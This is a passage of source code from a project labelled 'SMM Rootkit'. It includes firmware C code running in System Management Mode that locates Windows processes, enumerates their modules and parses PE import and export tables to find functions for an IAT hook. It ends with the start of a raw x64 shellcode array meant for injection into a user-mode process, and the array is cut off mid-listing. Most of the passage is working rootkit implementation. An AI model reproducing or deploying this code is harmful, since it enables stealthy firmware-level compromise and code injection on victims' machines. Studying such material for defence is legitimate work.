ctx->offsets.apl - 8) == TRUE) { pid = (UINT64 *)(curProc + ctx->offsets.apl - 8); if (verbose) { SerialPrintString(" pid: "); SerialPrintNumber(*pid, 16); SerialPrintString(" at "); SerialPrintNumber(curProc + ctx->offsets.apl - 8, 16); SerialPrintString("\r\n"); } } if (*session || *pid == 4) { size++; CHAR8 *name; if (IsAddressValid(curProc + ctx->offsets.imageFileName) == TRUE) { name = (CHAR8 *)(curProc + ctx->offsets.imageFileName); // Check if it's the process requested if (!strcmp(name, processname)) { process->dirBase = *dirBase; process->process = virtProcess; process->physProcess = curProc; process->pid = *pid; return TRUE; } } } UINT64 *tempVirt; if (IsAddressValid(curProc + ctx->offsets.apl) == TRUE) { tempVirt = (UINT64 *)(curProc + ctx->offsets.apl); virtProcess = *tempVirt; } else { virtProcess = 0; } virtProcess = virtProcess - ctx->offsets.apl; if (verbose) { SerialPrintString(" virtProcess: "); SerialPrintNumber(virtProcess, 16); SerialPrintString("\r\n"); } if (!virtProcess) break; curProc = VTOP(virtProcess, *dirBase, verbose); if (verbose) { SerialPrintString(" curProc: "); SerialPrintNumber(curProc, 16); SerialPrintString("\r\n"); } if (!curProc) break; } return FALSE; } STATIC BOOLEAN DumpSingleModule64(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN *x86, BOOLEAN verbose) { if (process->dirBase == 0 || process->physProcess == 0 || process->process == 0) { SerialPrintString("ERROR: Process not setup correctly for module dumping!\r\n"); return FALSE; } PEB peb = GetPeb(ctx, process); if (peb.Ldr == 0) { SerialPrintString("ERROR: Failed reading PEB64 for module dumping!\r\n"); return FALSE; } PEB_LDR_DATA *ldr; UINT64 physLdr = VTOP(peb.Ldr, process->dirBase, FALSE); if (IsAddressValid(physLdr) == FALSE) { SerialPrintString("ERROR: Phys Ldr is invalid while dumping module!\r\n"); return FALSE; } ldr = (PEB_LDR_DATA *)physLdr; UINT64 head = ldr->InMemoryOrderModuleList.f_link; UINT64 end = head; UINT64 prev = head + 1; BOOLEAN module_found = FALSE; do { prev = head; UINT8 modBuffer[sizeof(LDR_MODULE)]; LDR_MODULE *mod = (LDR_MODULE *)modBuffer; v_memRead((UINT64)mod, head - sizeof(LIST_ENTRY_WIN), sizeof(LDR_MODULE), process->dirBase, FALSE); v_memRead((UINT64)&head, head, sizeof(head), process->dirBase, FALSE); if (!mod->BaseDllName.length || !mod->SizeOfImage) { continue; } if (mod->BaseDllName.buffer == 0) { continue; } UINT8 oldBuffer[0x28]; v_memRead((UINT64)oldBuffer, mod->BaseDllName.buffer, 0x28, process->dirBase, FALSE); CHAR8 newBuffer[0x15]; for (INT32 i = 0; i < 0x14; i++) newBuffer[i] = ((CHAR8 *)oldBuffer)[i * 2]; newBuffer[0x15 - 1] = '\0'; if (*(INT16 *)(VOID *)newBuffer == 0x53) { SerialPrintStringDebug(" WARNING: Name buffer error while dumping module! \r\n"); continue; } if (!stricmp(out_module->name, newBuffer)) { out_module->baseAddress = mod->BaseAddress; out_module->sizeOfModule = mod->SizeOfImage; out_module->entryPoint = mod->EntryPoint; out_module->loadCount = mod->LoadCount; module_found = TRUE; } // bail out if the process is 64-bit, // find the module with the 32-bit func if (!strcmp("wow64.dll", newBuffer)) { *x86 = TRUE; return FALSE; } } while (head != end && head != prev); if (!module_found) { SerialPrintString("ERROR: Could not find module "); SerialPrintString(out_module->name); SerialPrintString("\r\n"); } return module_found; } STATIC BOOLEAN DumpSingleModule86(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN verbose) { if (process->dirBase == 0 || process->physProcess == 0 || process->process == 0) { SerialPrintString("ERROR: Process not setup correctly \r\n"); return FALSE; } UINT64 dirBase = process->dirBase; // Get PEB32 of Process PEB32 peb = GetPeb32(ctx, process); if (peb.Ldr == 0) { SerialPrintString("Failed reading PEB32 \r\n"); return FALSE; } PEB_LDR_DATA32 *ldr; UINT64 physLdr = VTOP(peb.Ldr, dirBase, FALSE); if (IsAddressValid(physLdr) == FALSE) { SerialPrintString("ERROR: Phys Ldr is invalid \r\n"); return FALSE; } SerialPrintStringDebug(" Phys Ldr at: "); SerialPrintNumberDebug(physLdr, 16); SerialPrintStringDebug("\r\n"); ldr = (PEB_LDR_DATA32 *)physLdr; SerialPrintStringDebug(" Head Flink: "); SerialPrintNumberDebug(ldr->InMemoryOrderModuleList.f_link, 16); SerialPrintStringDebug("\r\n"); UINT32 head = ldr->InMemoryOrderModuleList.f_link; UINT32 end = head; UINT32 prev = head + 1; do { prev = head; UINT8 modBuffer[sizeof(LDR_MODULE32)]; LDR_MODULE32 *mod = (LDR_MODULE32 *)modBuffer; v_memRead((UINT64)mod, head - sizeof(LIST_ENTRY_32_WIN), sizeof(LDR_MODULE32), dirBase, verbose); v_memRead((UINT64)&head, head, sizeof(head), dirBase, verbose); if (!mod->BaseDllName.length || !mod->SizeOfImage) { SerialPrintStringDebug("INB1\r\n"); continue; } if (mod->BaseDllName.buffer == 0) { SerialPrintStringDebug("INB2\r\n"); continue; } UINT8 oldBuffer[0x28]; v_memRead((UINT64)oldBuffer, mod->BaseDllName.buffer, 0x28, dirBase, verbose); CHAR8 newBuffer[0x15]; for (INT32 i = 0; i < 0x14; i++) newBuffer[i] = ((CHAR8 *)oldBuffer)[i * 2]; newBuffer[0x15 - 1] = '\0'; SerialPrintStringDebug("MN "); for (INT32 i = 0; i < 0x15; i++) { // what the fuck? // SerialPrintString(newBuffer[i]); } SerialPrintStringDebug("\r\n"); if (*(INT16 *)(VOID *)newBuffer == 0x53) { SerialPrintStringDebug("ERROR: Buffer error! \r\n"); continue; } if (!strcmp(out_module->name, newBuffer)) { SerialPrintStringDebug(" Found module \r\n"); out_module->baseAddress = mod->BaseAddress; out_module->sizeOfModule = mod->SizeOfImage; out_module->entryPoint = mod->EntryPoint; out_module->loadCount = mod->LoadCount; return TRUE; } } while (head != end && head != prev); return FALSE; } BOOLEAN DumpSingleModule(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN verbose) { BOOLEAN x86 = FALSE; BOOLEAN ret = DumpSingleModule64(ctx, process, out_module, &x86, verbose); if (ret == FALSE && x86 == FALSE) { SerialPrintStringDebug("Could not find the module from a 64-bit process!\r\n"); return FALSE; } if (x86) { SerialPrintStringDebug("The process seems to be x86 ...\r\n"); ret = DumpSingleModule86(ctx, process, out_module, verbose); } return ret; } PEB GetPeb(const WinCtx *ctx, const WinProc *process) { PEB peb; UINT64 ppeb = 0; p_memCpy((UINT64)&ppeb, process->physProcess + ctx->offsets.peb, sizeof(UINT64), FALSE); v_memRead((UINT64)&peb, ppeb, sizeof(PEB), process->dirBase, FALSE); return peb; } PEB32 GetPeb32(const WinCtx *ctx, const WinProc *process) { PEB32 peb; UINT64 ppeb = 0; p_memCpy((UINT64)&ppeb, process->physProcess + ctx->offsets.peb, sizeof(UINT64), FALSE); v_memRead((UINT64)&peb, ppeb + 0x1000, sizeof(PEB32), process->dirBase, FALSE); return peb; } STATIC PIMAGE_NT_HEADERS PE_HeaderGetVerify(WinProc *process, WinModule *basemodule, UINT8 *pbModuleHeader, BOOLEAN *pfHdr32) { PIMAGE_DOS_HEADER dosHeader; PIMAGE_NT_HEADERS ntHeader; if (pfHdr32) { *pfHdr32 = FALSE; } v_memRead((UINT64)pbModuleHeader, basemodule->baseAddress, HEADER_SIZE, process->dirBase, FALSE); dosHeader = (PIMAGE_DOS_HEADER)pbModuleHeader; if (!dosHeader || dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return NULL; } if (dosHeader->e_lfanew > 0x800) { return NULL; } ntHeader = (PIMAGE_NT_HEADERS)(pbModuleHeader + dosHeader->e_lfanew); if (!ntHeader || ntHeader->Signature != IMAGE_NT_SIGNATURE) { return NULL; } if ((ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) && (ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC)) { return NULL; } if (pfHdr32) { *pfHdr32 = (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC); } return ntHeader; } BOOLEAN ProcessGetThunkInfoIAT(WinProc *process, WinModule *basemodule, CHAR8 *szImportModuleName, CHAR8 *szImportProcName, PPE_THUNKINFO_IAT pThunkInfoIAT) { EFI_PHYSICAL_ADDRESS physAddr; EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr); if (ret != EFI_SUCCESS) { SerialPrintString("ERROR: Failed allocating pages \r\n"); return FALSE; } UINT8 *pbModuleHeader = (UINT8 *)physAddr; // nullify the allocated memory for (INT32 k = 0; k < 0x1000; k++) { pbModuleHeader[k] = 0x00; } PIMAGE_NT_HEADERS64 ntHeader64; PIMAGE_NT_HEADERS32 ntHeader32; UINT64 i, oImportDirectory; PIMAGE_IMPORT_DESCRIPTOR pIID; UINT64 *pIAT64; UINT64 *pHNA64; UINT32 *pIAT32; UINT32 *pHNA32; UINT32 cbModule; UINT8 *pbModule = NULL; BOOLEAN f32, fFnName; UINT32 c, j; CHAR8 *szNameFunction; CHAR8 *szNameModule; // load both 32/64 bit ntHeader (only one will be valid) if (!(ntHeader64 = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &f32))) { SerialPrintString("ERROR: Parsing PE headers in VMM failed!\r\n"); goto fail; } ntHeader32 = (PIMAGE_NT_HEADERS32)ntHeader64; cbModule = f32 ? ntHeader32->OptionalHeader.SizeOfImage : ntHeader64->OptionalHeader.SizeOfImage; // too large if (cbModule > 0x02000000) { SerialPrintString("ERROR: Module size too large\r\n"); goto fail; } oImportDirectory = f32 ? ntHeader32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress : ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; if (!oImportDirectory || (oImportDirectory >= cbModule)) { SerialPrintString("ERROR: offset of import directory failed\r\n"); goto fail; } // allocate the huge buffer for the module image inside SMM. // TODO: this is very ugly and shall not be done, definitely WIP SerialPrintStringDebug(" Allocating "); SerialPrintNumberDebug(cbModule, 10); SerialPrintStringDebug(" bytes of memory for the PE image ...\r\n"); EFI_PHYSICAL_ADDRESS physAddrImage; ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, cbModule / 0x1000 + 1, &physAddrImage); if (ret != EFI_SUCCESS) { SerialPrintStringDebug("ERROR: IAT: Failed allocating pages for the module image data \r\n"); goto fail; } pbModule = (UINT8 *)physAddrImage; // nullify the allocated memory for (INT32 k = 0; k < cbModule; k++) { pbModule[k] = 0x00; } v_memReadMultiPage((UINT64)pbModule, basemodule->baseAddress, cbModule, process->dirBase, FALSE); // Walk imported modules / functions pIID = (PIMAGE_IMPORT_DESCRIPTOR)(pbModule + oImportDirectory); i = 0, c = 0; while ((oImportDirectory + (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR) < cbModule) && pIID[i].FirstThunk) { if (pIID[i].Name > cbModule - 64) { i++; continue; } if (f32) { // 32-bit PE SerialPrintStringDebug(" The target seems to be 32-bit...\r\n"); j = 0; pIAT32 = (UINT32 *)(pbModule + pIID[i].FirstThunk); pHNA32 = (UINT32 *)(pbModule + pIID[i].OriginalFirstThunk); while (TRUE) { if ((UINT64)(pIAT32 + j) + sizeof(UINT32) - (UINT64)pbModule > cbModule) break; if ((UINT64)(pHNA32 + j) + sizeof(UINT32) - (UINT64)pbModule > cbModule) break; if (!pIAT32[j]) break; if (!pHNA32[j]) break; fFnName = (pHNA32[j] < cbModule - 40); szNameFunction = (CHAR8 *)(pbModule + pHNA32[j] + 2); szNameModule = (CHAR8 *)(pbModule + pIID[i].Name); if (fFnName && !strcmp(szNameFunction, szImportProcName) && !stricmp(szNameModule, szImportModuleName)) { SerialPrintStringDebug(" Found the procname "); SerialPrintStringDebug(szNameFunction); SerialPrintStringDebug(" for IAT hook!\r\n"); pThunkInfoIAT->fValid = TRUE; pThunkInfoIAT->f32 = TRUE; pThunkInfoIAT->vaThunk = basemodule->baseAddress + pIID[i].FirstThunk + sizeof(UINT32) * j; pThunkInfoIAT->vaFunction = pIAT32[j]; pThunkInfoIAT->vaNameFunction = basemodule->baseAddress + pHNA32[j] + 2; pThunkInfoIAT->vaNameModule = basemodule->baseAddress + pIID[i].Name; gSmst2->SmmFreePages(physAddr, 1); gSmst2->SmmFreePages(physAddrImage, cbModule / 0x1000 + 1); return TRUE; } c++; j++; } } else { // 64-bit PE SerialPrintStringDebug(" The target seems to be 64-bit...\r\n"); j = 0; pIAT64 = (UINT64 *)(pbModule + pIID[i].FirstThunk); pHNA64 = (UINT64 *)(pbModule + pIID[i].OriginalFirstThunk); while (TRUE) { if ((UINT64)(pIAT64 + j) + sizeof(UINT64) - (UINT64)pbModule > cbModule) break; if ((UINT64)(pHNA64 + j) + sizeof(UINT64) - (UINT64)pbModule > cbModule) break; if (!pIAT64[j]) break; if (!pHNA64[j]) break; fFnName = (pHNA64[j] < cbModule - 40); szNameFunction = (CHAR8 *)(pbModule + pHNA64[j] + 2); szNameModule = (CHAR8 *)(pbModule + pIID[i].Name); SerialPrintStringDebug(" IAT: Comparing "); SerialPrintStringDebug(szNameFunction); SerialPrintStringDebug("\r\n"); if (fFnName && !strcmp(szNameFunction, szImportProcName) && !stricmp(szNameModule, szImportModuleName)) { pThunkInfoIAT->fValid = TRUE; pThunkInfoIAT->f32 = FALSE; pThunkInfoIAT->vaThunk = basemodule->baseAddress + pIID[i].FirstThunk + sizeof(UINT64) * j; pThunkInfoIAT->vaFunction = pIAT64[j]; pThunkInfoIAT->vaNameFunction = basemodule->baseAddress + pHNA64[j] + 2; pThunkInfoIAT->vaNameModule = basemodule->baseAddress + pIID[i].Name; gSmst2->SmmFreePages(physAddr, 1); gSmst2->SmmFreePages(physAddrImage, cbModule / 0x1000 + 1); return TRUE; } c++; j++; } } i++; } fail: gSmst2->SmmFreePages(physAddr, 1); gSmst2->SmmFreePages(physAddrImage, cbModule / 0x1000 + 1); return FALSE; } STATIC UINT16 PE_SectionGetNumberOf(WinProc *process, WinModule *basemodule) { EFI_PHYSICAL_ADDRESS physAddr; EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr); if (ret != EFI_SUCCESS) { SerialPrintStringDebug("ERROR: Failed allocating pages \r\n"); gSmst2->SmmFreePages(physAddr, 1); return 0; } UINT8 *pbModuleHeader = (UINT8 *)physAddr; // nullify the allocated memory for (INT32 k = 0; k < 0x1000; k++) { pbModuleHeader[k] = 0x00; } BOOLEAN f32; UINT16 cSections; PIMAGE_NT_HEADERS ntHeader; // load nt header either by using optionally supplied module header or by fetching from memory. if (!(ntHeader = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &f32))) { SerialPrintStringDebug("ERROR: Parsing PE headers in VMM failed!\r\n"); gSmst2->SmmFreePages(physAddr, 1); return 0; } cSections = f32 ? ((PIMAGE_NT_HEADERS32)ntHeader)->FileHeader.NumberOfSections : ((PIMAGE_NT_HEADERS64)ntHeader)->FileHeader.NumberOfSections; if (cSections > 0x40) { SerialPrintStringDebug("ERROR: Sections > 0x40!\r\n"); gSmst2->SmmFreePages(physAddr, 1); return 0; } gSmst2->SmmFreePages(physAddr, 1); return cSections; } STATIC VOID PE_SECTION_DisplayBuffer(WinProc *process, WinModule *basemodule, UINT32 cbDisplayBufferMax, UINT32 *pcSectionsOpt, PIMAGE_SECTION_HEADER pSectionsOpt) { EFI_PHYSICAL_ADDRESS physAddr; EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr); if (ret != EFI_SUCCESS) { SerialPrintString("ERROR: Failed allocating pages \r\n"); return; } UINT8 *pbModuleHeader = (UINT8 *)physAddr; // nullify the allocated memory for (INT32 k = 0; k < 0x1000; k++) { pbModuleHeader[k] = 0x00; } PIMAGE_NT_HEADERS64 ntHeader64; BOOLEAN fHdr32; UINT32 cSections, cSectionsOpt; PIMAGE_SECTION_HEADER pSectionBase; if (pcSectionsOpt) { cSectionsOpt = *pcSectionsOpt; *pcSectionsOpt = 0; } if (!(ntHeader64 = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &fHdr32))) { return; } pSectionBase = fHdr32 ? (PIMAGE_SECTION_HEADER)((UINT64)ntHeader64 + sizeof(IMAGE_NT_HEADERS32)) : (PIMAGE_SECTION_HEADER)((UINT64)ntHeader64 + sizeof(IMAGE_NT_HEADERS64)); cSections = (UINT32)(((UINT64)pbModuleHeader + 0x1000 - (UINT64)pSectionBase) / sizeof(IMAGE_SECTION_HEADER)); if (cSections > ntHeader64->FileHeader.NumberOfSections) { cSections = ntHeader64->FileHeader.NumberOfSections; } if (pSectionsOpt && pcSectionsOpt && cSectionsOpt) { if (cSectionsOpt < ntHeader64->FileHeader.NumberOfSections) { *pcSectionsOpt = cSectionsOpt; } else { *pcSectionsOpt = ntHeader64->FileHeader.NumberOfSections; } p_memCpy((UINT64)pSectionsOpt, (UINT64)pSectionBase, *pcSectionsOpt * sizeof(IMAGE_SECTION_HEADER), FALSE); } gSmst2->SmmFreePages(physAddr, 1); } BOOLEAN ProcessGetSections(WinProc *process, WinModule *basemodule, PIMAGE_SECTION_HEADER pSections, UINT32 cSections, UINT32 *pcSections) { UINT32 sections = PE_SectionGetNumberOf(process, basemodule); if (!pSections) { *pcSections = sections; return TRUE; } if (cSections < sections) { return FALSE; } PE_SECTION_DisplayBuffer(process, basemodule, 0, &cSections, pSections); *pcSections = cSections; return TRUE; } STATIC BOOLEAN PE_GetThunkInfoEAT(WinProc *process, WinModule *basemodule, CHAR8 *procName, PPE_THUNKINFO_EAT pThunkInfoEAT) { // allocate space for pbModuleHeader EFI_PHYSICAL_ADDRESS physAddr; EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr); if (ret != EFI_SUCCESS) { SerialPrintString("ERROR: Failed allocating pages for EAT dump!\r\n"); return FALSE; } UINT8 *pbModuleHeader = (UINT8 *)physAddr; PIMAGE_NT_HEADERS32 ntHeader32; PIMAGE_NT_HEADERS64 ntHeader64; UINT32 *pdwRVAAddrNames; UINT32 *pdwRVAAddrFunctions; UINT16 *pwNameOrdinals; UINT32 cbProcName, cbExportDirectoryOffset; CHAR8 *sz; UINT64 vaExportDirectory; UINT32 cbExportDirectory; UINT8 *pbExportDirectory = NULL; UINT64 vaRVAAddrNames, vaNameOrdinals, vaRVAAddrFunctions; BOOLEAN f32; if (!(ntHeader64 = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &f32))) { goto cleanup; } if (f32) { ntHeader32 = (PIMAGE_NT_HEADERS32)ntHeader64; vaExportDirectory = basemodule->baseAddress + ntHeader32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; cbExportDirectory = ntHeader32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; } else { vaExportDirectory = basemodule->baseAddress + ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; cbExportDirectory = ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; } // sanity check the export directory values if ((cbExportDirectory < sizeof(IMAGE_EXPORT_DIRECTORY)) || (cbExportDirectory > 0x01000000) || (vaExportDirectory == basemodule->baseAddress) || (vaExportDirectory > basemodule->baseAddress + 0x80000000)) { goto cleanup; } EFI_PHYSICAL_ADDRESS physAddrExportDir; ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, cbExportDirectory / 0x1000 + 1, &physAddrExportDir); if (ret != EFI_SUCCESS) { SerialPrintString("ERROR: Failed allocating pages for the EAT module export directory \r\n"); gSmst2->SmmFreePages(physAddr, 1); return FALSE; } pbExportDirectory = (UINT8 *)physAddrExportDir; // nullify the allocated memory for (INT32 k = 0; k < cbExportDirectory; k++) { pbExportDirectory[k] = 0x00; } // read the export directory to SMM memory // SerialPrintStringDebug(" Reading the export directory to the buffer ...\r\n"); v_memReadMultiPage((UINT64)pbExportDirectory, vaExportDirectory, cbExportDirectory, process->dirBase, FALSE); PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)pbExportDirectory; SerialPrintStringDebug(" EAT Buffer filled with "); SerialPrintNumberDebug(exp->NumberOfNames, 10); SerialPrintStringDebug(" exported names in it!\r\n"); if (!exp || !exp->NumberOfNames || !exp->AddressOfNames) { SerialPrintString("ERROR: EAT exp buffer invalid!\r\n"); goto cleanup; } vaRVAAddrNames = basemodule->baseAddress + exp->AddressOfNames; vaNameOrdinals = basemodule->baseAddress + exp->AddressOfNameOrdinals; vaRVAAddrFunctions = basemodule->baseAddress + exp->AddressOfFunctions; if ((vaRVAAddrNames < vaExportDirectory) || (vaRVAAddrNames > vaExportDirectory + cbExportDirectory - exp->NumberOfNames * sizeof(UINT32))) { SerialPrintString("ERROR: vaRVAAddrNames invalid! value: "); SerialPrintNumber(vaRVAAddrNames, 16); SerialPrintString("\r\n"); goto cleanup; } if ((vaNameOrdinals < vaExportDirectory) || (vaNameOrdinals > vaExportDirectory + cbExportDirectory - exp->NumberOfNames * sizeof(UINT16))) { SerialPrintString("ERROR: vaNameOrdinals invalid! value: "); SerialPrintNumber(vaNameOrdinals, 16); SerialPrintString("\r\n"); goto cleanup; } if ((vaRVAAddrFunctions < vaExportDirectory) || (vaRVAAddrFunctions > vaExportDirectory + cbExportDirectory - exp->NumberOfNames * sizeof(UINT32))) { SerialPrintString("ERROR: vaRVAAddrFunctions invalid! value: "); SerialPrintNumber(vaRVAAddrFunctions, 16); SerialPrintString("\r\n"); goto cleanup; } cbProcName = (UINT32)strlen(procName) + 1; cbExportDirectoryOffset = (UINT32)(vaExportDirectory - basemodule->baseAddress); pdwRVAAddrNames = (UINT32 *)(pbExportDirectory + exp->AddressOfNames - cbExportDirectoryOffset); pwNameOrdinals = (UINT16 *)(pbExportDirectory + exp->AddressOfNameOrdinals - cbExportDirectoryOffset); pdwRVAAddrFunctions = (UINT32 *)(pbExportDirectory + exp->AddressOfFunctions - cbExportDirectoryOffset); for (UINT32 i = 0; i < exp->NumberOfNames; i++) { if (pdwRVAAddrNames[i] - cbExportDirectoryOffset + cbProcName > cbExportDirectory) { SerialPrintStringDebug("EAT: WARNING: pdwRVAAddrNames[i] exceeds cbExportDirectory at index "); SerialPrintNumberDebug(i, 10); SerialPrintStringDebug("\r\n"); continue; } sz = (CHAR8 *)(pbExportDirectory + pdwRVAAddrNames[i] - cbExportDirectoryOffset); if (!strncmp(sz, procName, cbProcName)) { if (pwNameOrdinals[i] >= exp->NumberOfFunctions) { goto cleanup; } SerialPrintStringDebug(" EAT: Found ProcName "); SerialPrintStringDebug(sz); SerialPrintStringDebug("!\r\n"); pThunkInfoEAT->fValid = TRUE; pThunkInfoEAT->vaFunction = (UINT64)(basemodule->baseAddress + pdwRVAAddrFunctions[pwNameOrdinals[i]]); pThunkInfoEAT->valueThunk = pdwRVAAddrFunctions[pwNameOrdinals[i]]; pThunkInfoEAT->vaThunk = vaExportDirectory + exp->AddressOfFunctions - cbExportDirectoryOffset + sizeof(UINT32) * pwNameOrdinals[i]; pThunkInfoEAT->vaNameFunction = vaExportDirectory + pdwRVAAddrNames[i] - cbExportDirectoryOffset; gSmst2->SmmFreePages(physAddr, 1); gSmst2->SmmFreePages(physAddrExportDir, cbExportDirectory / 0x1000 + 1); return TRUE; } } cleanup: gSmst2->SmmFreePages(physAddr, 1); gSmst2->SmmFreePages(physAddrExportDir, cbExportDirectory / 0x1000 + 1); SerialPrintString("EAT: FAILED TO FIND procName: "); SerialPrintString(procName); SerialPrintString("\r\n"); return FALSE; } UINT64 ProcessGetProcAddress(WinProc *process, WinModule *basemodule, CHAR8 *procName) { PE_THUNKINFO_EAT oThunkInfoEAT = {0}; PE_GetThunkInfoEAT(process, basemodule, procName, &oThunkInfoEAT); return oThunkInfoEAT.vaFunction; } ================================================ FILE: SMM Rootkit/SMMRootkit/WinTools.h ================================================ /* * This file and the corresponding .c file * contains a set of needed Windows-related * functions for both reading & writing its * virtual memory. * * These files are imported and ported to work * in SMM. The original libraries are * * - MemProcFS/pcileech by Ulf Frisk * - vmread by Heep042 * */ #ifndef __smmrootkit_wintools_h__ #define __smmrootkit_wintools_h__ #include #include #include #include "windows.h" #include "serial.h" #include "string.h" #include "Memory.h" // VTOP, p_memCpy, v_memCpy #include "MemManager.h" #define IMAGE_DIRECTORY_ENTRY_IMPORT 1 #define IMAGE_SCN_MEM_EXECUTE 0x20000000 #define IMAGE_SCN_MEM_WRITE 0x80000000 typedef struct ProcessData { UINT64 mapsStart; UINT64 mapsSize; INT32 pid; } ProcessData; typedef struct WinOffsets { INT64 apl; INT64 session; INT64 imageFileName; INT64 dirBase; INT64 peb; INT64 peb32; INT64 threadListHead; INT64 threadListEntry; INT64 teb; } WinOffsets; typedef struct WinProc { UINT64 process; UINT64 physProcess; UINT64 dirBase; UINT64 pid; char name[16]; } WinProc; typedef struct WinProcList { WinProc *list; size_t size; } WinProcList; typedef struct WinExport { char *name; UINT64 address; } WinExport; typedef struct WinExportList { WinExport *list; size_t size; } WinExportList; typedef struct WinModule { UINT64 baseAddress; UINT64 entryPoint; UINT64 sizeOfModule; char *name; short loadCount; } WinModule; typedef struct WinModuleList { WinModule *list; size_t size; } WinModuleList; typedef struct WinCtx { ProcessData process; WinOffsets offsets; UINT64 ntKernel; UINT16 ntVersion; UINT32 ntBuild; WinExportList ntExports; WinProc initialProcess; } WinCtx; typedef struct tdPE_THUNKINFO_IAT { UINT32 fValid; UINT32 f32; // if TRUE fn is a 32-bit/4-byte entry, otherwise 64-bit/8-byte entry. UINT64 vaThunk; // address of import address table 'thunk'. UINT64 vaFunction; // value if import address table 'thunk' == address of imported function. UINT64 vaNameModule; // address of name string for imported module. UINT64 vaNameFunction; // address of name string for imported function. } PE_THUNKINFO_IAT, *PPE_THUNKINFO_IAT; typedef struct tdPE_THUNKINFO_EAT { UINT32 fValid; UINT32 valueThunk; // value of export address table 'thunk'. UINT64 vaThunk; // address of import address table 'thunk'. UINT64 vaNameFunction; // address of name string for exported function. UINT64 vaFunction; // address of exported function (module base + value parameter). } PE_THUNKINFO_EAT, *PPE_THUNKINFO_EAT; typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { UINT32 Characteristics; //0 for terminating null import descriptor UINT32 OriginalFirstThunk; // RVA to original unbound IAT }; UINT32 TimeDateStamp; UINT32 ForwarderChain; // -1 if no forwarders UINT32 Name; // RVA of imported DLL name (null-terminated SCII) UINT32 FirstThunk; // RVA to IAT (if bound this IAT has addresses ) } IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR; BOOLEAN InitGlobalWindowsContext(); IMAGE_NT_HEADERS *GetNTHeader(const WinCtx *ctx, const WinProc *process, UINT64 address, UINT8 *header, UINT8 *is64Bit); BOOLEAN ParseExportTable(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, IMAGE_DATA_DIRECTORY *exports, WinExportList *outList); BOOLEAN GenerateExportList(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, WinExportList *outList); VOID FreeExportList(WinExportList list); UINT64 GetProcAddress(const WinCtx *ctx, const WinProc *process, UINT64 module, const CHAR8 *procName); UINT64 FindProcAddress(const WinExportList exports, const CHAR8 *procName); PEB GetPeb(const WinCtx *ctx, const WinProc *process); PEB32 GetPeb32(const WinCtx *ctx, const WinProc *process); BOOLEAN FindProcess(WinCtx *ctx, CHAR8 *processname, BOOLEAN verbose); BOOLEAN DumpSingleProcess(WinCtx *ctx, CHAR8 *processname, WinProc *process, BOOLEAN verbose); BOOLEAN DumpSingleModule(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN verbose); BOOLEAN ProcessGetThunkInfoIAT(WinProc *process, WinModule *basemodule, CHAR8 *szImportModuleName, CHAR8 *szImportProcName, PPE_THUNKINFO_IAT pThunkInfoIAT); BOOLEAN ProcessGetSections(WinProc *process, WinModule *basemodule, PIMAGE_SECTION_HEADER pSections, UINT32 cSections, UINT32 *pcSections); UINT64 ProcessGetProcAddress(WinProc *process, WinModule *basemodule, CHAR8 *procName); #endif ================================================ FILE: SMM Rootkit/SMMRootkit/WinUmdIATHook.c ================================================ #include "WinUmdIATHook.h" // From NtKernelTools.c extern WinCtx *winGlobal; // shellcode to inject into the UMD const UINT8 WinUmdIATShellCode[] = { 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0xEB, 0x10, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x50, 0x48, 0x8B, 0x0D, 0xE8, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xEC, 0x30, 0xE8, 0x13, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x30, 0x58, 0x41, 0x59, 0x41, 0x58, 0x5A, 0x59, 0xFF, 0x25, 0xD6, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x48, 0x83, 0x79, 0x18, 0x00, 0x48, 0x8B, 0xD9, 0x74, 0x52, 0x48, 0x83, 0x60, 0xE8, 0x00, 0x48, 0x83, 0xC1, 0x58, 0xC7, 0x40, 0xE0, 0x80, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xC7, 0x40, 